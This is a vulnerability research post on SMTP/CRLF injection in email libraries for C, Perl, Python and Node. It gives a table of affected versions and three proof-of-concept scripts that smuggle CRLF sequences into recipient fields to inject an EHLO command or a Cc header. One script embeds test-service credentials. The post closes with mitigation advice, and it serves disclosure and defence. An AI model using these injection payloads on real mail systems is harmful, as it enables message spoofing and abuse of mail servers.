SMTP Injection can often be interesting vulnerability to code review and find. Some work I did regarding this can be found here: https://snyk.io/blog/avoiding-smtp-injection/
The following vulnerabilities were found during this research
Library | Language | Fixed Version |
---|---|---|
SMTPMail-drogon | C | Fixed in Master |
Email::MIME | Perl | No Fix Available |
Net::SMTP | Perl | No Fix Available |
aiosmtplib | Python | Fixed in 1.1.7 |
smtpclient | NodeJS | No Fix Available |
The below are some of my notes/payloads from this research
smtp-client
In the example below, I can inject \r\n into an rcpt object and add a EHLO command. Other fields within Email such as Subject and From field are also vulnerable.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var smtp = require('smtp-client');
let s = new smtp.SMTPClient({
host: '127.0.0.1',
port: 1225
});
(async function() {
await s.connect();
await s.greet({hostname: '127.0.0.1'}); // runs EHLO command or HELO as a fallback
await s.authPlain({username: 'testuser', password: 'testpass'}); // authenticates a user
await s.mail({from: 'from@sender.com'}); // runs MAIL FROM command
await s.rcpt({to: 'to@recipient.com>\r\nEHLO client.example.com'}); // runs RCPT TO command (run this multiple times to add more recii)
await s.data('mail source'); // runs DATA command and streams email source
await s.quit(); // runs QUIT command
})().catch(console.error);
to@recipient.com>\r\nEHLO client.example.com
- This command being treated as a separate command can be seen below.
Email::MIME
The below example just shows an example of CRLF sequences being processed and sent successfully as a CC header
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/perl
use MIME::Lite;
#$cc = 'cc@example.com';
$from = "sender\@outlook.com";
$to = "reciever\@gmail.com\rCc: zercool\@gmail.com";
$subject = "Hello world";
$message = 'This is test email sent by Perl Script';
$msg = MIME::Lite->new(
From => $from,
To => $to,
Cc => $cc,
Subject => $subject,
Type => 'multipart/mixed'
);
# Add your text message.
$msg->attach(Type => 'text', Data => $message);
# config
$msg->send('smtp', "localhost", Port=>2025, Hello=>"localhost" );
print "Email Sent Successfully\n";
I have an example python server running locally with python -m smtpd -c DebuggingServer -n localhost:2025
and the injected Cc header can be seen below.
he below example just shows an example of CRLF sequences being processed and sent successfully as a CC header
Net::SMTP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/perl
use strict;
use Cwd;
use Data::Dumper;
use Net::SMTP;
use File::Slurp;
use Email::Sender::Simple qw(sendmail);
sub sendMail($$);
use constant DEBUG => 0;
my $startDir = getcwd;
my %email = ( 'smtp' => 'smtp.mailtrap.io',
'hello' => 'smtp.mailtrap.io',
'user' => '63ef4bad307846',
'pass' => '650425530e71d1',
'no_mail' => 0, # Don't send mail. Useful for checking what would be sent...
'debug' => 1, # Print extra smtp feedback.
'from' => "from\@example.com",
'to' => [ "to\@example.com\r\nCc: foobar\@gmail.com" ],
'subject' => 'Testing' );
my $bodyfile = $ARGV[0];
unless (-f $bodyfile){
die "usage: $0 <file_containing_email_body>";
}
my $mail_body = "Hey";
print "sending mail...\n" if(DEBUG);
sendMail(\%email, $mail_body);
exit 0;
sub sendMail($$){
my $m = shift;
my $out = shift;
my $toList = join ',', @{ $m->{'to'} };
if( $m->{'no_mail'} ){
print "sendMail(no_mail=1): NOT sending\n" . Dumper($m) . "\n" . Dumper($out) . "\n";
return;
}
my $smtp = Net::SMTP->new( $m->{'smtp'}, 'Hello' => $m->{'hello'},
'Debug' => $m->{'debug'}, 'Port' => 2525 );
$smtp->auth( $m->{'user'}, $m->{'pass'} );
$smtp->mail( $m->{'from'} );
$smtp->to( @{ $m->{'to'} } );
$smtp->data();
$smtp->datasend("From: $m->{'from'}\n" );
$smtp->datasend("To: $toList\n" );
$smtp->datasend("Subject: $m->{'subject'}\n" );
$smtp->datasend("\n");
$smtp->datasend( "$out\n" );
$smtp->dataend();
$smtp->quit;
}
Here the \r\nCc: foobar\@gmail.com will be interpreted as a separate command and an extra Cc header will be injected through the To header.
1
2
3
Net::SMTP=GLOB(0x5578f2cfc148)>>> From: from@example.com
Net::SMTP=GLOB(0x5578f2cfc148)>>> To: to@example.com
Net::SMTP=GLOB(0x5578f2cfc148)>>> Cc: foobar@gmail.com
Mitigation
One potential fix here is to escape newlines, e.g. \n -> \n \r -> \r specifically in address and subject fields. Another option is to validate and not allow CRLF characters at all. Here are some examples of popular email libraries fixing this issue.